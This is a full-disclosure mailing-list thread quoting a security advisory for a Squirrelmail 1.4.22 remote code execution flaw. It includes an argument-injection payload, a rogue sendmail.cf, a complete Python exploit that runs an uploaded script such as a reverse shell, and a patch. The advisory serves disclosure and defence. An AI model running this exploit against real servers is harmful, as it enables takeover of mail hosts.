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Message-Id: <BB6B2C81-E099-4553-BB72-B25C7CA93AE9@wearesegment.com>
Date: Wed, 19 Apr 2017 17:40:11 +0200
From: Filippo Cavallarin <filippo.cavallarin@...resegment.com>
To: Dawid Golunski <dawid@...alhackers.com>
Cc: fulldisclosure@...lists.org, bugtraq@...urityfocus.com
Subject: Re: [FD] CVE-2017-7692: Squirrelmail 1.4.22 Remote Code Execution
Hi Dawid,
I tried quite hard to contact the vendor but without success, then I decided to release all the details and a fix..
I think the CVE I got should be rejected and marked as duplicate, but I don't know how to handle situations like this.. any idea?
In the meantime, do you want me to put your name in the credits on my website?
Best,
Filippo
> On 19 Apr 2017, at 16:36, Dawid Golunski <dawid@...alhackers.com> wrote:
>
> Hi Filippo,
>
> I actually reported this vulnerability to the vendor at the beginning
> of this year. I also got the following CVEID assigned for it in
> January: CVE-2017-5181.
> I was waiting on the vendor to patch the vulnerability since then
> before I publish the details.
>
> Has he got back to you?
>
>
>
>
> On Wed, Apr 19, 2017 at 10:07 AM, Filippo Cavallarin
> <filippo.cavallarin@...resegment.com> wrote:
>> Advisory ID: SGMA17-001
>> Title: Squirrelmail Remote Code Execution
>> Product: Squirrelmail
>> Version: 1.4.22 and probably prior
>> Vendor: squirrelmail.org
>> Type: Command Injection
>> Risk level: 4 / 5
>> Credit: filippo.cavallarin@...resegment.com
>> CVE: CVE-2017-7692
>> Vendor notification: 2017-04-04
>> Vendor fix: N/A
>> Public disclosure: 2017-04-19
>>
>>
>>
>>
>> DETAILS
>>
>> Squirrelmail version 1.4.22 (and probably prior) is vulnerable to a remote code execution vulnerability because
>> it fails to sanitize a string before passing it to a popen call. It's possible to exploit this vulnerability to
>> execute arbitrary shell commands on the remote server.
>>
>> The problem is in Deliver_SendMail.class.php on initStream function that uses escapeshellcmd() to sanitize the
>> sendmail command before executing it. The use of escapeshellcmd() is not correct in this case since it don't
>> escapes whitespaces allowing the injection of arbitrary command parameters.
>>
>> $this->sendmail_command = "$sendmail_path $this->sendmail_args -f$envelopefrom";
>> $stream = popen(escapeshellcmd($this->sendmail_command), "w");
>>
>>
>> The $envelopefrom variable is controlled by the attacker, hence it's possible to trick sendmail to use an
>> attacker-provided configuration file that triggers the execution of an arbitrary command.
>>
>> In order to exploit this vulnerability the MTA in use must be sendmail and Squirrelmail must be configured
>> to use it as commandline (useSendmail directive of the config file set to true).
>> Also, the edit_identity directive of the config file must be bet to true, but this is the default configuration.
>>
>> To reproduce the issue follow these steps:
>> 1. Create a rogue sendmail.cf that triggers the execution of a /usr/bin/touch:
>> [...]
>> Mlocal, P=/usr/bin/touch, F=lsDFMAw5:/|@...9S, S=EnvFromL/HdrFromL, R=EnvToL/HdrToL,
>> T=DNS/RFC822/X-Unix,
>> A=X /tmp/executed
>> 2. Upload it as a mail attachment and get it's remote name (ex: lF51mGPJwdqzV3LEDlCdSVNpohzgF7sD)
>> 3. Go to Options -> Personal Informations and set the following payload as Email Address:
>> <aaa@....com -OQueueDirectory=/tmp -C /var/local/squirrelmail/attach/lF51mGPJwdqzV3LEDlCdSVNpohzgF7sD>
>> 4. Send an email
>> 5. Verify the execution of the command with "ls /tmp/executed" on the remote server
>>
>>
>>
>>
>> PROOF OF CONCEPT
>>
>> The followig python script exploits this vulnerability to execute an attacker provided bash script on the remote server.
>>
>> BOF
>> #!/usr/bin/env python
>> # -*- coding: utf-8 -*-
>>
>> """
>>
>> SquirrelMail 1.4.22 Remote Code Execution (authenticated)
>> Exploit code for CVE-2017-7692
>> filippo.cavallarin@...resegment.com
>>
>> """
>>
>> from __future__ import unicode_literals
>> import sys
>> import os
>> import re
>> import requests
>>
>> reload(sys)
>> sys.setdefaultencoding('utf8')
>>
>>
>> SENDMAILCF="/tmp/squirrelmail1_4_22-sendmailcf-rce"
>> COMPOSE = "/src/compose.php"
>> INFOS = "/src/options.php?optpage=personal"
>> SQM_ATTACH_PATH = "/var/local/squirrelmail/attach/"
>> # must be enclosed in <> otherwise spaces will be removed ..
>> SENDER = "<px@...x.com -OQueueDirectory=/tmp -C %s%s>"
>>
>>
>> SESSID = ""
>> BASEURL = ""
>>
>>
>> def attach(attachment):
>> url = "%s%s" % (BASEURL, COMPOSE)
>> token = get_csrf_token(url)
>>
>> values = {
>> "smtoken": token,
>> "attach": "add"
>> }
>>
>> try:
>> files = {'attachfile': open(attachment,'rb')}
>> resp = requests.post(url, files=files, data=values, cookies={'SQMSESSID':SESSID})
>> fname = re.search(r'att_local_name";s:[0-9]+:"([a-zA-Z0-9]+)"', resp.text)
>> if not fname:
>> print "\nError: unable to upload file %s" % attachment
>> return fname.group(1)
>>
>> except Exception as e:
>> print "\nError: %s" % e
>> sys.exit(1)
>>
>>
>> def send():
>> url = "%s%s" % (BASEURL, COMPOSE)
>> token = get_csrf_token(url)
>>
>> values = {
>> "smtoken": token,
>> "send_to": "root",
>> "send": "Send"
>> }
>>
>> try:
>> resp = requests.post(url, data=values, cookies={'SQMSESSID':SESSID})
>> except Exception as e:
>> print "\nError: %s" % e
>> sys.exit(1)
>>
>>
>> def set_identity(sender):
>> url = "%s%s" % (BASEURL, INFOS)
>> token = get_csrf_token(url)
>> values = {
>> "smtoken": token,
>> "optpage": "personal",
>> "optmode": "submit",
>> "new_email_address": sender,
>> "submit_personal": "Submit"
>> }
>>
>> try:
>> requests.post(url, data=values, cookies={'SQMSESSID':SESSID})
>> except Exception as e:
>> print "\nError: %s" % e
>> sys.exit(1)
>>
>>
>> def get_csrf_token(url):
>> try:
>> body = requests.get(url, cookies={'SQMSESSID':SESSID}).text
>> inp = re.search(r'<input.*name="smtoken".*>', body, re.MULTILINE)
>> token = re.search(r'value="([a-zA-Z0-9]+)"', inp.group(0))
>> if token:
>> return token.group(1)
>> except Exception as e:
>> pass
>>
>> print "\nUnable to get CSRF token"
>> sys.exit(1)
>>
>> def outw(s):
>> sys.stdout.write(s)
>> sys.stdout.flush()
>>
>> def main(argv):
>> global BASEURL
>> global SESSID
>>
>> if len(argv) != 4:
>> print (
>> "SquirrelMail 1.4.22 Remote Code Execution (authenticated) - filippo.cavallarin@...resegment.com\n"
>> "The target server must use sendmail and squirrelmail must be configured to use /usr/bin/sendmail\n"
>> "Usage:\n"
>> " %s <url> <session_id> <script>\n"
>> " url: the url of squirrelmail\n"
>> " session_id: the value of SQMSESSID cookie\n"
>> " script: the path to the bash script to be executed on the target\n"
>> "Example:\n"
>> " %s http:/example.com/squirrelmail/ l2rapvcovsui1on0b4i5boev24 reverseshell.sh"
>> ) % (argv[0], argv[0])
>>
>> sys.exit(1)
>>
>> BASEURL = argv[1]
>> SESSID = argv[2]
>> script = argv[3]
>>
>> outw("Uploading script ... ")
>> script_fname = attach(script)
>> print "ok"
>>
>>
>> outw("Generating sendmail.cf ... ")
>> try:
>> script_path = "%s%s" % (SQM_ATTACH_PATH, script_fname)
>> with open(SENDMAILCF, 'w') as f:
>> f.write(SENDMAILCF_CONTENT % script_path)
>> except Exception as e:
>> print "\nError: %s" % e
>> sys.exit(1)
>> print "ok"
>>
>> outw("Uploading sendmail.cf ... ")
>> smc_fname = attach(SENDMAILCF)
>> os.remove(SENDMAILCF)
>> print "ok"
>>
>> outw("Updating user options ... ")
>> sender = SENDER % (SQM_ATTACH_PATH, smc_fname)
>> set_identity(sender)
>> print "ok"
>>
>> outw("Checking identity field ... ")
>> icheck = requests.get("%s%s" % (BASEURL, INFOS), cookies={'SQMSESSID':SESSID}).text
>> if not smc_fname in icheck:
>> print "\nError: unable to set identity field .. maybe squirrelmail is configured with edit_identity=false"
>> sys.exit(1)
>> print "ok"
>>
>> outw("Executing script ... ")
>> send()
>> print "ok\n"
>> sys.exit(0)
>>
>> SENDMAILCF_CONTENT = """
>> O DontBlameSendmail=,AssumeSafeChown,ForwardFileInGroupWritableDirPath,GroupWritableForwardFileSafe,GroupWritableIncludeFileSafe,IncludeFileInGroupWritableDirPath,DontWarnForwardFileInUnsafeDirPath,TrustStickyBit,NonRootSafeAddr,GroupWritableIncludeFile,GroupReadableDefaultAuthInfoFile
>> Kdequote dequote
>> Scanonify=3
>> R$@ $@ <@>
>> R$* $: $1 <@> mark addresses
>> R$* < $* > $* <@> $: $1 < $2 > $3 unmark <addr>
>> R@ $* <@> $: @ $1 unmark @host:...
>> R$* [ IPv6 : $+ ] <@> $: $1 [ IPv6 : $2 ] unmark IPv6 addr
>> R$* :: $* <@> $: $1 :: $2 unmark node::addr
>> R:include: $* <@> $: :include: $1 unmark :include:...
>> R$* : $* [ $* ] $: $1 : $2 [ $3 ] <@> remark if leading colon
>> R$* : $* <@> $: $2 strip colon if marked
>> R$* <@> $: $1 unmark
>> R$* ; $1 strip trailing semi
>> R$* < $+ :; > $* $@ $2 :; <@> catch <list:;>
>> R$* < $* ; > $1 < $2 > bogus bracketed semi
>> R$@ $@ :; <@>
>> R$* $: < $1 > housekeeping <>
>> R$+ < $* > < $2 > strip excess on left
>> R< $* > $+ < $1 > strip excess on right
>> R<> $@ < @ > MAIL FROM:<> case
>> R< $+ > $: $1 remove housekeeping <>
>> R@ $+ , $+ $2
>> R@ [ $* ] : $+ $2
>> R@ $+ : $+ $2
>> R $+ : $* ; @ $+ $@ $>Canonify2 $1 : $2 ; < @ $3 > list syntax
>> R $+ : $* ; $@ $1 : $2; list syntax
>> R$+ @ $+ $: $1 < @ $2 > focus on domain
>> R$+ < $+ @ $+ > $1 $2 < @ $3 > move gaze right
>> R$+ < @ $+ > $@ $>Canonify2 $1 < @ $2 > already canonical
>> R$- ! $+ $@ $>Canonify2 $2 < @ $1 .UUCP > resolve uucp names
>> R$+ . $- ! $+ $@ $>Canonify2 $3 < @ $1 . $2 > domain uucps
>> R$+ ! $+ $@ $>Canonify2 $2 < @ $1 .UUCP > uucp subdomains
>> R$* %% $* $1 @ $2 First make them all @s.
>> R$* @ $* @ $* $1 %% $2 @ $3 Undo all but the last.
>> R$* @ $* $@ $>Canonify2 $1 < @ $2 > Insert < > and finish
>> R$* $@ $>Canonify2 $1
>> SCanonify2=96
>> R$* < @ localhost > $* $: $1 < @ $j . > $2 no domain at all
>> R$* < @ localhost . $m > $* $: $1 < @ $j . > $2 local domain
>> R$* < @ localhost . UUCP > $* $: $1 < @ $j . > $2 .UUCP domain
>> R$* < @ [ $+ ] > $* $: $1 < @@ [ $2 ] > $3 mark [addr]
>> R$* < @@ $=w > $* $: $1 < @ $j . > $3 self-literal
>> R$* < @@ $+ > $* $@ $1 < @ $2 > $3 canon IP addr
>> Sfinal=4
>> R$+ :; <@> $@ $1 : handle <list:;>
>> R$* <@> $@ handle <> and list:;
>> R$* < @ $+ . > $* $1 < @ $2 > $3
>> R$* < @ *LOCAL* > $* $1 < @ $j > $2
>> R$* < $+ > $* $1 $2 $3 defocus
>> R@ $+ : @ $+ : $+ @ $1 , @ $2 : $3 <route-addr> canonical
>> R@ $* $@ @ $1 ... and exit
>> R$+ @ $- . UUCP $2!$1 u@...UCP => h!u
>> R$+ %% $=w @ $=w $1 @ $2 u%%host@...t => u@...t
>> SRecurse=97
>> R$* $: $>canonify $1
>> R$* $@ $>parse $1
>> Sparse=0
>> R$* $: $>Parse0 $1 initial parsing
>> R<@> $#local $: <@> special case error msgs
>> R$* $: $>ParseLocal $1 handle local hacks
>> R$* $: $>Parse1 $1 final parsing
>> SParse0
>> R<@> $@ <@> special case error msgs
>> R$* : $* ; <@> $#error $@ 5.1.3 $: "553 List:; syntax illegal for recipient addresses"
>> R@ <@ $* > < @ $1 > catch "@@host" bogosity
>> R<@ $+> $#error $@ 5.1.3 $: "553 User address required"
>> R$+ <@> $#error $@ 5.1.3 $: "553 Hostname required"
>> R$* $: <> $1
>> R<> $* < @ [ $* ] : $+ > $* $1 < @ [ $2 ] : $3 > $4
>> R<> $* < @ [ $* ] , $+ > $* $1 < @ [ $2 ] , $3 > $4
>> R<> $* < @ [ $* ] $+ > $* $#error $@ 5.1.2 $: "553 Invalid address"
>> R<> $* < @ [ $+ ] > $* $1 < @ [ $2 ] > $3
>> R<> $* <$* : $* > $* $#error $@ 5.1.3 $: "553 Colon illegal in host name part"
>> R<> $* $1
>> R$* < @ . $* > $* $#error $@ 5.1.2 $: "553 Invalid host name"
>> R$* < @ $* .. $* > $* $#error $@ 5.1.2 $: "553 Invalid host name"
>> R$* < @ $* @ > $* $#error $@ 5.1.2 $: "553 Invalid route address"
>> R$* @ $* < @ $* > $* $#error $@ 5.1.3 $: "553 Invalid route address"
>> R$* , $~O $* $#error $@ 5.1.3 $: "553 Invalid route address"
>> R$* < @ > $* $@ $>Parse0 $>canonify $1 user@ => user
>> R< @ $=w . > : $* $@ $>Parse0 $>canonify $2 @here:... -> ...
>> R$- < @ $=w . > $: $(dequote $1 $) < @ $2 . > dequote "foo"@here
>> R< @ $+ > $#error $@ 5.1.3 $: "553 User address required"
>> R$* $=O $* < @ $=w . > $@ $>Parse0 $>canonify $1 $2 $3 ...@...e -> ...
>> R$- $: $(dequote $1 $) < @ *LOCAL* > dequote "foo"
>> R< @ *LOCAL* > $#error $@ 5.1.3 $: "553 User address required"
>> R$* $=O $* < @ *LOCAL* >
>> $@ $>Parse0 $>canonify $1 $2 $3 ...@...CAL* -> ...
>> R$* < @ *LOCAL* > $: $1
>> SParse1
>> R$* < @ [ $+ ] > $* $: $>ParseLocal $1 < @ [ $2 ] > $3 numeric internet spec
>> R$* < @ [ $+ ] > $* $: $1 < @ [ $2 ] : $S > $3 Add smart host to path
>> R$* < @ [ $+ ] : > $* $#esmtp $@ [$2] $: $1 < @ [$2] > $3 no smarthost: send
>> R$* < @ [ $+ ] : $- : $*> $* $#$3 $@ $4 $: $1 < @ [$2] > $5 smarthost with mailer
>> R$* < @ [ $+ ] : $+ > $* $#esmtp $@ $3 $: $1 < @ [$2] > $4 smarthost without mailer
>> R$=L < @ $=w . > $#local $: @ $1 special local names
>> R$+ < @ $=w . > $#local $: $1 regular local name
>> R$* < @ $* > $* $: $>MailerToTriple < $S > $1 < @ $2 > $3 glue on smarthost name
>> R$* < @$* > $* $#esmtp $@ $2 $: $1 < @ $2 > $3 user@...t.domain
>> R$=L $#local $: @ $1 special local names
>> R$+ $#local $: $1 regular local names
>> SLocal_localaddr
>> Slocaladdr=5
>> R$+ $: $1 $| $>"Local_localaddr" $1
>> R$+ $| $#ok $@ $1 no change
>> R$+ $| $#$* $#$2
>> R$+ $| $* $: $1
>> R$+ + * $#local $@ $&h $: $1
>> R$+ + $* $#local $@ + $2 $: $1 + *
>> R$+ $: <> $1
>> R< > $+ $: < > < $1 <> $&h > nope, restore +detail
>> R< > < $+ <> + $* > $: < > < $1 + $2 > check whether +detail
>> R< > < $+ <> $* > $: < > < $1 > else discard
>> R< > < $+ + $* > $* < > < $1 > + $2 $3 find the user part
>> R< > < $+ > + $* $#local $@ $2 $: @ $1 strip the extra +
>> R< > < $+ > $@ $1 no +detail
>> R$+ $: $1 <> $&h add +detail back in
>> R$+ <> + $* $: $1 + $2 check whether +detail
>> R$+ <> $* $: $1 else discard
>> R< local : $* > $* $: $>MailerToTriple < local : $1 > $2 no host extension
>> R< error : $* > $* $: $>MailerToTriple < error : $1 > $2 no host extension
>> R< $~[ : $+ > $+ $: $>MailerToTriple < $1 : $2 > $3 < @ $2 >
>> R< $+ > $+ $@ $>MailerToTriple < $1 > $2 < @ $1 >
>> SParseLocal=98
>> SEnvFromL
>> R<@> $n errors to mailer-daemon
>> R@ <@ $*> $n temporarily bypass Sun bogosity
>> R$+ $: $>AddDomain $1 add local domain if needed
>> R$* $: $>MasqEnv $1 do masquerading
>> SEnvToL
>> R$+ < @ $* > $: $1 strip host part
>> R$+ + $* $: < $&{addr_type} > $1 + $2 mark with addr type
>> R<e s> $+ + $* $: $1 remove +detail for sender
>> R< $* > $+ $: $2 else remove mark
>> SHdrFromL
>> R<@> $n errors to mailer-daemon
>> R@ <@ $*> $n temporarily bypass Sun bogosity
>> R$+ $: $>AddDomain $1 add local domain if needed
>> R$* $: $>MasqHdr $1 do masquerading
>> SHdrToL
>> R$+ $: $>AddDomain $1 add local domain if needed
>> R$* $: $>MasqHdr $1 do all-masquerading
>> SAddDomain
>> R$* < @ $* > $* $@ $1 < @ $2 > $3 already fully qualified
>> R$+ $@ $1 < @ *LOCAL* > add local qualification
>> Mlocal, P=/bin/bash, F=lsDFMAw5:/|@...9S, S=EnvFromL/HdrFromL, R=EnvToL/HdrToL,
>> T=DNS/RFC822/X-Unix,
>> A=X %s
>> Mprog, P=/bin/sh, F=lsDFMoqeu9, S=EnvFromL/HdrFromL, R=EnvToL/HdrToL, D=$z:/,
>> T=X-Unix/X-Unix/X-Unix,
>> A=sh -c $u
>>
>> """
>>
>> if __name__ == '__main__':
>> main(sys.argv)
>>
>> EOF
>>
>>
>>
>>
>> SOLUTION
>>
>> Since the vendor did not respond to our mails, no official fix is available.
>> However, the following unofficial patch can be used to fix this vulnerability.
>>
>> BOF
>> diff -ruN squirrelmail-webmail-1.4.22/class/deliver/Deliver_SendMail.class.php squirrelmail-webmail-1.4.22-fix-CVE-2017-7692/class/deliver/Deliver_SendMail.class.php
>> --- squirrelmail-webmail-1.4.22/class/deliver/Deliver_SendMail.class.php 2011-01-06 02:44:03.000000000 +0000
>> +++ squirrelmail-webmail-1.4.22-fix-CVE-2017-7692/class/deliver/Deliver_SendMail.class.php 2017-04-18 11:42:26.505181944 +0000
>> @@ -93,9 +93,9 @@
>> $envelopefrom = trim($from->mailbox.'@...from->host);
>> $envelopefrom = str_replace(array("\0","\n"),array('',''),$envelopefrom);
>> // save executed command for future reference
>> - $this->sendmail_command = "$sendmail_path $this->sendmail_args -f$envelopefrom";
>> + $this->sendmail_command = escapeshellcmd("$sendmail_path $this->sendmail_args -f") . escapeshellarg($envelopefrom);
>> // open process handle for writing
>> - $stream = popen(escapeshellcmd($this->sendmail_command), "w");
>> + $stream = popen($this->sendmail_command, "w");
>> return $stream;
>> }
>> EOF
>>
>>
>>
>>
>> REFERENCES
>>
>> https://squirrelmail.org/
>> https://www.wearesegment.com/research/Squirrelmail-Remote-Code-Execution.html
>>
>>
>
>
>
> --
> Regards,
> Dawid Golunski
> https://legalhackers.com
> t: @dawid_golunski
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